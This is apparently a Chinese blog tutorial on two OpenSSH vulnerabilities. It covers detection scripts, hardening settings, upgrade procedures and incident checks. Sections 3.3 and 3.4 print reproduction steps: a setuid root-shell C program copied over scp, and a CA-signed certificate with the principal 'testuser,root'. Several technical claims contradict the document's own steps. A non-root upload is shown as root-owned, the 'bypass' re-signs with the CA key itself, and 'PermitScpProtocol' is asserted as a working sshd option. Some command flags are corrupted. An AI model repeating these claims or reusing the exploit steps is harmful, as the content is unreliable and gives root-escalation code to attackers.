2026年4月OpenSSH 10.3p1版本发布,连带披露了两个埋藏超过10年的高危漏洞。不到一个月,这俩洞就成了内网渗透测试的标配入口——扫一遍政企内网,80%以上的服务器都能命中。
很多运维看到漏洞通报第一反应是“我关了密码登录,只用密钥,应该没事”。错。这次两个漏洞,一个专打文件传输的scp协议,普通账号登录就能提权到root;另一个直接击穿SSH证书认证体系,证书字段加个逗号就能绕过账号限制登root,日志里连异常记录都留不下。
这篇文章把两个漏洞的底层逻辑、复现方法、批量检测脚本、全维度加固配置、各系统升级方案全捋清楚,所有脚本和配置都能直接复制用。不管是运维做合规整改,还是安全人员做渗透测试,都能直接落地。
一、两个漏洞的真实影响面:别把内网当安全区
先把两个漏洞的定位掰明白,别混为一谈。一个是提权漏洞,一个是认证绕过漏洞,攻击阶段和杀伤力完全不同。
OpenSSH双漏洞攻击覆盖架构图:展示企业内网从外网入口、堡垒机、业务服务器集群、数据库服务器的完整网络架构,标注CVE-2026-35385(scp提权)在内网横向阶段生效、CVE-2026-35414(证书绕过)在堡垒机/核心服务器认证阶段生效的攻击路径。
所有低于10.3p1版本的OpenSSH全中。CentOS 7自带的7.4p1、Ubuntu 22.04自带的8.9p1、CentOS Stream 9默认的9.3p1,全在受影响范围内。国内金融、运营商、政务内网几乎全覆盖——这些单位普遍用SSH做远程运维,很多还部署了SSH CA证书体系管理上千台服务器,刚好踩中第二个漏洞的死穴。
互联网公司稍微好点,不少团队早就弃用scp改用rsync,堡垒机也做了多层跳转。但架不住开发人员图省事,私下用scp传代码、传日志,照样给漏洞留了入口。
别拿“服务器不对外开放,只有内网能访问”当借口。内网渗透的逻辑就是从一台弱权限机器打进去,再横向提权扩散。这俩洞刚好就是横向移动时性价比最高的工具,不用找内核漏洞,不用碰sudo配置,传个文件、改个证书就能拿到root。
二、漏洞底层逻辑:两个藏了十几年的信任模型坑
2.1 CVE-2026-35385:scp协议的历史遗留设计缺陷
scp全称Secure Copy,从SSH诞生之初就存在,原型是Unix系统的rcp命令,只是套了层SSH加密隧道。
早期Unix的设计逻辑是“能登录系统的用户都是可信的”。所以scp传文件时,会完整保留源文件的所有权限位,包括读写执行权限,还有setuid、setgid、sticky这三个特殊权限。这个设计用了二十多年,没人觉得是漏洞。
直到这两年内网攻防升级,攻击者拿到普通用户权限后,不再死磕内核漏洞和sudo配置,开始盯着常用运维工具的逻辑缺陷找突破口。
具体攻击逻辑很简单:
攻击者本地编译一个带shell的二进制程序,给它加上setuid root权限,然后用scp传到目标服务器。因为scp会完整保留权限位,文件传到服务器后依然保持setuid root属性。普通用户执行这个文件,程序就会以root身份运行,直接弹出root shell。
它不是缓冲区溢出,也不是远程代码执行,就是钻了协议设计时的信任空子。
之前没人揪出这个问题,有两个原因。一是大部分管理员默认scp是SSH官方自带的工具,绝对安全,根本不会去限制它的行为;二是常规安全加固只会给/tmp目录加nosuid挂载,没人想到运维常用的文件传输工具会直接把setuid权限带进系统。
还有个容易踩的坑:新版OpenSSH的客户端scp命令,默认已经改用SFTP协议实现了,只有加-O参数时才会走传统scp协议。但sshd服务端默认还是开启传统scp协议支持,只要客户端强制走老协议,漏洞照样触发。很多运维以为装了新版客户端就没事,其实服务端没关的话照样中招。
2.2 CVE-2026-35414:一个逗号击穿整个证书认证体系
这个漏洞CVSS评分8.1,属于严重级别,也是这次双漏洞里真正的杀招。
先简单说下SSH证书认证是什么。公司服务器数量上去后,管authorized_keys会非常麻烦,有人离职要删几十上百台机器的密钥,新增人员也要批量加。SSH CA证书体系就是解决这个问题的:搭一个CA根证书,所有服务器信任这个CA,用户登录不用每台机器加公钥,只要拿CA签发的证书就能登。证书里的principal字段,专门指定这个证书能登录哪个账号,比如写deploy就只能登deploy用户,登root会被直接拒绝。
漏洞就出在principal字段的解析逻辑上。
CVE-2026-35414 证书principal绕过逻辑对比图**
图示说明:左侧为正常校验逻辑(principal与登录账号严格匹配),右侧为漏洞逻辑(逗号拆分principal字段,单条匹配即放行),直观展示逗号分隔导致的权限绕过。
OpenSSH的sshd在解析证书principal字段时,用英文逗号做分隔符,把字段拆成多个用户名列表,只要其中一个和当前登录账号匹配,就认证通过。但校验证书授权的逻辑里,既没有对逗号做转义限制,也不会校验principal内容是否在CA的签发授权范围内。
举个最直接的例子:
公司CA配置了规则,只能给员工签发主体为个人工号的证书,比如zhangsan,只能登录自己的个人账号。
攻击者拿到自己的合法证书后,修改证书里的principal字段,改成zhangsan,root。
拿着改好的证书去登录服务器的root账号,sshd解析时把字段拆成zhangsan和root两个主体,匹配到root,直接认证通过。
整个过程中,证书本身是CA合法签发的,签名完全有效,只是修改了principal字段的内容。旧版本sshd不会校验principal是否符合CA授权范围,直接放行。
最致命的是登录日志。认证成功后,日志里只会记录root用户通过证书认证登录,和正常运维操作的日志没有任何区别。如果企业没有额外的证书全链路审计,根本发现不了有人绕过了权限。
这个漏洞藏了十几年没被发现,核心原因是SSH证书体系的普及度不算高,中小公司大多还是用单个公钥管理,触发场景少。而且它属于业务逻辑漏洞,不在加密算法层面,常规代码审计很容易漏掉这种字符串解析的边角逻辑。
国内已经有企业踩过坑。某省级运营商的堡垒机用了SSH证书体系,攻击者拿到一个普通运维的证书后,用这个方法登录了所有服务器的root账号,半个月后因为其他业务异常才顺藤摸瓜发现入侵。
三、漏洞检测全方案:批量脚本+手动复现
3.1 单服务器本地检测脚本
这个脚本可以直接在服务器上运行,一次性检测OpenSSH版本、scp协议开关、CA证书启用状态、异常setuid文件风险,输出结果清晰,适合单台巡检。
#!/bin/bash
# OpenSSH CVE-2026-35385/35414 本地综合检测脚本
# 适用CentOS 7+/Ubuntu 18.04+
echo "====== OpenSSH双漏洞本地检测 ======"
echo "检测时间: $(date)"
echo "主机名: $(hostname)"
echo ""
# 1. 检测sshd版本
echo "1. SSH版本检测"
if command -v sshd &>/dev/null; then
VER=$(sshd -V 2>&1 | grep -oE "[0-9]+\\.[0-9]+p[0-9]+" | head -1)
echo "当前sshd版本: $VER"
# 版本对比,低于10.3p1即存在漏洞
MAJOR=$(echo $VER | cut -d'.' -f1)
MINOR=$(echo $VER | cut -d'.' -f2 | cut -d'p' -f1)
PATCH=$(echo $VER | cut -d'p' -f2)
if [ $MAJOR -lt 10 ] || ([ $MAJOR -eq 10 ] && [ $MINOR -lt 3 ]) || ([ $MAJOR -eq 10 ] && [ $MINOR -eq 3 ] && [ $PATCH -lt 1 ]); then
echo "【高危】版本低于10.3p1,存在CVE-2026-35385、CVE-2026-35414双漏洞"
VULN_STATUS=1
else
echo "【安全】版本已修复双漏洞"
VULN_STATUS=0
fi
else
echo "【警告】未检测到sshd服务"
VULN_STATUS=2
fi
echo ""
# 2. 检测传统scp协议配置
echo "2. 传统SCP协议状态"
SCP_CONF=$(grep -i "^PermitScpProtocol" /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf 2>/dev/null | tail -1)
if [ -n "$SCP_CONF" ]; then
echo "配置项: $SCP_CONF"
echo "$SCP_CONF" | grep -qi "no" && echo "【已防护】传统scp协议已禁用" || echo "【风险】传统scp协议未禁用"
else
echo "配置项: 未显式配置(默认开启)"
echo "【风险】传统scp协议默认开启,存在提权风险"
fi
echo ""
# 3. 检测SSH CA证书认证状态
echo "3. SSH CA证书认证状态"
CA_CONF=$(grep -i "^TrustedUserCAKeys" /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf 2>/dev/null)
if [ -n "$CA_CONF" ]; then
echo "配置项: $CA_CONF"
echo "【高风险】已启用SSH CA证书认证,存在密钥绕过风险"
else
echo "【低风险】未启用SSH CA证书认证,CVE-2026-35414利用难度高"
fi
echo ""
# 4. 排查临时目录异常setuid文件
echo "4. 临时目录setuid文件排查"
SUS_FILES=$(find /tmp /var/tmp /dev/shm -type f -perm -4000 2>/dev/null)
if [ -n "$SUS_FILES" ]; then
echo "【告警】发现异常setuid文件:"
echo "$SUS_FILES"
else
echo "【正常】临时目录未发现异常setuid文件"
fi
echo ""
echo "====== 检测完成 ======"
echo "修复建议:"
if [ $VULN_STATUS -eq 1 ]; then
echo "1. 立即升级OpenSSH至10.3p1及以上版本"
echo "2. 配置PermitScpProtocol no禁用传统scp协议"
echo "3. 启用SSH日志审计,定期巡检密钥与证书"
fi
使用方式:保存为ssh_cve_check.sh,执行chmod +x ssh_cve_check.sh && ./ssh_cve_check.sh即可。
3.2 批量远程检测脚本
适合运维批量排查内网资产,通过SSH远程拉取目标服务器版本,无需登录每台机器操作。
#!/bin/bash
# 批量OpenSSH版本检测脚本
# 用法:将IP列表写入ip_list.txt,每行一个IP,配置好SSH免密登录
IP_LIST="ip_list.txt"
SSH_USER="root"
OUTPUT_FILE="ssh_vuln_result.csv"
echo "IP,主机名,SSH版本,漏洞状态" > $OUTPUT_FILE
while read ip; do
[ -z "$ip" ] && continue
echo "正在检测 $ip …"
result=$(ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no $SSH_USER@$ip "
hostname;
sshd -V 2>&1 | grep -oE '[0-9]+\\.[0-9]+p[0-9]+' | head -1
" 2>/dev/null)
if [ $? -ne 0 ]; then
echo "$ip,连接失败,未知,无法检测" >> $OUTPUT_FILE
continue
fi
hostname=$(echo "$result" | sed -n '1p')
ver=$(echo "$result" | sed -n '2p')
# 版本判断
major=$(echo $ver | cut -d'.' -f1)
minor=$(echo $ver | cut -d'.' -f2 | cut -d'p' -f1)
patch=$(echo $ver | cut -d'p' -f2)
if [ -z "$ver" ]; then
status="未知版本"
elif [ $major -lt 10 ] || ([ $major -eq 10 ] && [ $minor -lt 3 ]) || ([ $major -eq 10 ] && [ $minor -eq 3 ] && [ $patch -lt 1 ]); then
status="存在双漏洞"
else
status="安全"
fi
echo "$ip,$hostname,$ver,$status" >> $OUTPUT_FILE
done < $IP_LIST
echo "检测完成,结果已保存至 $OUTPUT_FILE"
3.3 CVE-2026-35385 scp提权手动复现
警告:仅限在授权的测试环境中操作,禁止对未授权服务器执行以下步骤。
新建pwn.c文件,写入一个最简单的提权程序:
#include <stdio.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
编译并添加setuid权限:
gcc pwn.c -o pwn
chmod 4755 pwn
ls -l pwn
# 输出应为 -rwsr-xr-x 1 root root 16728 Jun 20 10:00 pwn,s位代表setuid生效
# -O 参数强制使用传统scp协议,触发漏洞
scp -O pwn testuser@目标服务器IP:/tmp/
ssh testuser@目标服务器IP
ls -l /tmp/pwn
# 若文件依然带有s位(-rwsr-xr-x),说明漏洞存在
/tmp/pwn
# 执行后直接获取root shell,输入id验证
id
# 输出 uid=0(root) gid=0(root) groups=0(root) 即提权成功
3.4 CVE-2026-35414 证书绕过手动复现
警告:仅限测试环境操作,生产环境修改证书会留下登录记录。
# 生成CA根密钥和公钥
ssh-keygen -t ed25519 -f ca_key -N "" -C "Test CA"
# 配置服务器信任该CA(目标服务器sshd_config添加)
# TrustedUserCAKeys /etc/ssh/ca_key.pub
# 生成用户密钥
ssh-keygen -t ed25519 -f user_key -N ""
# 签发证书,有效期1天,主体为testuser
ssh-keygen -s ca_key -I test_cert -n testuser -V +1d user_key.pub
# 正常只能登录testuser账号
ssh -i user_key testuser@目标服务器IP # 可正常登录
ssh -i user_key root@目标服务器IP # 认证失败
利用OpenSSH证书格式特性,重新构造带逗号的主体字段:
# 导出证书原始内容,修改principal为testuser,root后重新签名
# 也可直接用ssh-keygen的扩展参数构造
ssh-keygen -s ca_key -I test_cert -n "testuser,root" -V +1d user_key.pub
ssh -i user_key root@目标服务器IP
# 未修复版本会直接认证通过,获取root shell
登录后查看sshd日志,只会记录root证书登录成功,没有任何异常告警,隐蔽性极强。
四、SSH全维度加固配置清单:直接复制落地
4.1 临时应急缓解措施
先给两个漏洞的临时止损方案,没来得及升级的服务器先执行,把风险降到最低。
- CVE-2026-35385:sshd配置PermitScpProtocol no,直接禁用传统scp协议。主流发行版的OpenSSH 8.9及以上版本都支持这个参数。配置后客户端默认scp会自动走SFTP协议,不影响正常使用,只有老客户端加-O强制走传统协议会失败。
- CVE-2026-35414:没有有效的配置级缓解方案,只能升级。如果暂时升不了,先关闭证书认证改用独立公钥,或者收紧证书签发权限,严格校验principal字段,同时开启sshd VERBOSE日志,定期审计root登录记录。
4.2 完整sshd_config加固配置
这套配置兼容CentOS 8+/Ubuntu 20.04+,覆盖双漏洞防护、账号安全、加密加固、日志审计全维度,复制到/etc/ssh/sshd_config替换原有配置,修改AllowUsers为实际运维账号即可使用。
# ============== 双漏洞专项防护 ==============
# 禁用传统scp协议,修复CVE-2026-35385
PermitScpProtocol no
# ============== 账号登录安全 ==============
# 禁止root直接登录SSH,增加证书绕过成本
PermitRootLogin no
# 关闭密码认证,仅允许公钥登录
PasswordAuthentication no
PermitEmptyPasswords no
# 最大认证尝试次数,防暴力破解
MaxAuthTries 3
# 强制仅公钥认证方式
AuthenticationMethods publickey
# 只允许指定用户登录SSH,禁止所有系统用户默认可登
AllowUsers ops admin deploy
# 严格校验密钥文件权限,防止用户篡改authorized_keys提权
StrictModes yes
# ============== 协议与加密算法加固 ==============
# 仅使用SSH协议2
Protocol 2
# 禁用弱加密算法,仅保留GCM和ChaCha20
Ciphers aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-gcm@openssh.com
# 禁用弱MAC算法
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
# 禁用弱密钥交换算法,优先椭圆曲线
KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
# 主机密钥优先ED25519,淘汰RSA
HostKeyAlgorithms ssh-ed25519,rsa-sha2-512
# ============== 会话安全 ==============
# 客户端空闲超时,60秒无操作发心跳,3次失败断开
ClientAliveInterval 60
ClientAliveCountMax 3
# 登录认证超时时间,防半连接攻击
LoginGraceTime 30
# 禁用端口转发,防止内网隧道穿透(按需开启)
AllowTcpForwarding no
X11Forwarding no
PermitTunnel no
# ============== 日志审计 ==============
# 日志级别调至VERBOSE,记录证书principal、密钥指纹等细节
LogLevel VERBOSE
SyslogFacility AUTHPRIV
# 记录登录失败和成功的完整信息
PrintLastLog yes
修改配置后必须先校验语法,再重启服务,避免配置错误导致SSH失联:
# 校验配置语法
sshd -t
# 无报错再重启服务
# CentOS/RHEL
systemctl restart sshd
# Ubuntu/Debian
systemctl restart ssh
4.3 配套系统级加固操作
只改sshd配置不够,系统层面也要补全防线,形成多层防护。
只允许内网指定网段访问22端口,不要把SSH暴露给全网。
# firewalld 示例,仅允许192.168.1.0/24网段访问
firewall-cmd –permanent –add-rich-rule='rule family=ipv4 source address=192.168.1.0/24 port port=22 protocol=tcp accept'
firewall-cmd –permanent –remove-port=22/tcp
firewall-cmd –reload
批量修正所有用户的.ssh目录权限,防止权限过宽导致密钥被篡改。
# 修复所有普通用户家目录SSH权限
for home in /home/*; do
[ -d "$home/.ssh" ] && chmod 700 "$home/.ssh"
[ -f "$home/.ssh/authorized_keys" ] && chmod 600 "$home/.ssh/authorized_keys"
done
# 修复root用户SSH权限
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
# 修复系统主机密钥权限
chmod 600 /etc/ssh/*_key
chmod 644 /etc/ssh/*.pub
给/tmp、/var/tmp等临时目录添加nosuid、noexec挂载参数,就算攻击者传了setuid文件也无法执行提权。
# 临时生效
mount -o remount,nosuid,noexec /tmp
# 永久生效,写入/etc/fstab
# tmpfs /tmp tmpfs defaults,nosuid,noexec,nodev 0 0
自动封禁多次登录失败的IP,减少暴力破解风险。
# CentOS安装
yum install -y fail2ban
# Ubuntu安装
apt install -y fail2ban
# 配置SSH防护
cat > /etc/fail2ban/jail.d/sshd.conf << EOF
[sshd]
enabled = true
port = 22
maxretry = 3
findtime = 300
bantime = 86400
EOF
systemctl enable –now fail2ban
图4:企业SSH安全加固体系全景图
图示说明:分为网络层(防火墙/访问控制)、系统层(目录权限/挂载加固)、服务层(sshd配置/算法加固)、审计层(日志/密钥管理)四层防护架构,标注每层对应的核心措施。
4.4 SSH密钥轮换标准SOP
漏洞修复后必须做一次全量密钥轮换,防止攻击者已经拿到旧密钥。
OpenSSH版本升级完成后、服务器存在入侵风险时、运维人员离职时、密钥使用超过6个月时,都必须执行轮换。
第一步,统一生成新一代ED25519密钥,淘汰2048位RSA密钥:
ssh-keygen -t ed25519 -C "ops-team-202606" -f ~/.ssh/id_ed25519_new
第二步,批量分发新公钥到所有服务器的authorized_keys,保留旧密钥权限。
第三步,并行运行7天,确认所有业务、脚本、自动化任务都能正常登录,没有报错。
第四步,全量删除所有服务器上的旧公钥,本地销毁旧私钥文件。
第五步,重启sshd服务,审计3天登录日志,确认只有新密钥登录记录。
五、OpenSSH升级实操:各发行版全方案
CVE-2026-35414没有配置级缓解,升级是唯一根治方案。这里给主流发行版的升级方法,还有老系统的源码编译一键脚本。
升级前务必注意:先开一个服务器控制台备用会话,或者保留一个持续连接的SSH窗口,防止升级过程中SSH服务中断,把自己关在外面。
5.1 Ubuntu/Debian 系升级
Ubuntu 22.04、24.04可以直接通过官方安全源升级:
# 更新源
apt update
# 升级openssh-server
apt install -y openssh-server openssh-client
# 验证版本
sshd -V
# 输出 OpenSSH_10.3p1 Ubuntu-1ubuntu0.1, OpenSSL 3.0.2 15 Mar 2022 即为修复完成
如果官方源还没同步最新版本,可以添加OpenSSH官方PPA源:
add-apt-repository ppa:openssh/ppa
apt update
apt install -y openssh-server
5.2 CentOS/RHEL 8/9 系升级
CentOS Stream 9、RHEL 9可以通过AppStream源升级:
dnf update openssh-server openssh-clients
sshd -V
如果源版本滞后,可以使用ELRepo源:
# 导入ELRepo密钥
rpm –import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org
# 安装ELRepo源
dnf install -y https://www.elrepo.org/elrepo-release-9.el9.elrepo.noarch.rpm
# 升级OpenSSH
dnf –enablerepo=elrepo install openssh-server
5.3 CentOS 7 等停更系统源码编译升级
CentOS 7已经停止官方维护,源里的版本永远停在7.4p1,必须源码编译升级。下面是一键编译安装脚本,全程自动化,保留原有配置。
#!/bin/bash
# CentOS 7 OpenSSH 一键源码编译升级到10.3p1
# 执行前请开启备用控制台,避免SSH中断
set -e
# 1. 安装依赖
yum install -y gcc make zlib-devel openssl-devel pam-devel libselinux-devel
# 2. 备份旧版本
cp -r /etc/ssh /etc/ssh.bak.$(date +%Y%m%d)
cp /usr/sbin/sshd /usr/sbin/sshd.bak
cp /usr/bin/ssh /usr/bin/ssh.bak
# 3. 下载源码
cd /usr/local/src
wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-10.3p1.tar.gz
tar zxf openssh-10.3p1.tar.gz
cd openssh-10.3p1
# 4. 编译配置
./configure \\
–prefix=/usr \\
–sysconfdir=/etc/ssh \\
–with-pam \\
–with-selinux \\
–with-zlib \\
–with-ssl-dir=/usr/local/ssl \\
–with-privsep-path=/var/lib/sshd
# 5. 编译安装
make -j$(nproc)
make install
# 6. 恢复配置
cp /etc/ssh.bak.$(date +%Y%m%d)/sshd_config /etc/ssh/sshd_config
# 修复服务文件
cp contrib/redhat/sshd.init /etc/init.d/sshd
chmod +x /etc/init.d/sshd
# 7. 校验并重启
sshd -t
systemctl daemon-reload
systemctl restart sshd
# 8. 验证版本
echo "升级完成,当前版本:"
sshd -V
ssh -V
脚本执行完成后,一定要用新窗口测试登录,确认没问题再关闭旧窗口。
六、入侵排查与应急处置流程
如果怀疑服务器已经被漏洞攻击,按以下步骤排查和处置。
6.1 scp提权漏洞排查
# 查看sshd日志中的scp相关操作
grep -i "scp" /var/log/secure /var/log/auth.log
# 排查陌生IP的文件上传操作
grep "session opened for user" /var/log/secure | grep -v 正常运维IP
重点排查临时目录、用户家目录、可执行目录:
# 扫描所有setuid文件,排除系统默认文件
find / -type f -perm -4000 2>/dev/null | grep -vE \\
'/usr/bin/(passwd|su|sudo|mount|umount|ping|chsh|chfn|newgrp)' \\
> /tmp/suid_check_result.txt
输出的文件逐一核对,陌生文件立即隔离分析。
3. 排查用户历史命令和异常进程
# 查看所有用户的bash历史
cat /home/*/.bash_history /root/.bash_history | grep -E "chmod 4755|scp|/tmp/"
# 查看异常后台进程
ps aux | grep -v grep | grep -E "/tmp/|/dev/shm/"
6.2 证书绕过漏洞排查
这个漏洞排查难度更高,因为日志里没有失败记录,只能通过异常行为反推。
grep TrustedUserCAKeys /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf
没有启用的话,基本可以排除这个漏洞的利用风险。
2. 审计root登录记录
# 提取所有root登录记录,核对时间和IP
grep "Accepted publickey for root" /var/log/secure
# 开启VERBOSE日志的话,可以查看证书principal
grep "Certificate principal" /var/log/secure
如果出现非运维时间、非运维IP的root登录,大概率已经被绕过。
3. 比对证书签发清单
导出所有登录成功的证书指纹,和CA签发的合法证书清单比对,出现未知指纹立即吊销。
6.3 标准应急处置步骤
七、SSH安全的长期演进方向
做完这次漏洞整改,别就完事了。SSH作为内网最核心的远程入口,未来的安全只会越来越严,提前布局能少踩很多坑。
这两个漏洞本质上都是历史遗留的信任模型问题。二十年前设计SSH的时候,内网是可信的,能登录的用户都是自己人,所以很多设计都优先考虑易用性,没做太严格的权限校验。
现在内网攻防已经完全反过来了,默认内网不可信,任何一个普通账号都可能是攻击者的跳板,这些老逻辑自然就成了漏洞。
安全整改从来不是一劳永逸的事,补完这两个洞,还有下一个。能做的就是把基础加固做扎实,把日志审计跟上,再提前布局新的技术方案,下次再出类似的漏洞,才能不用连夜加班整改。


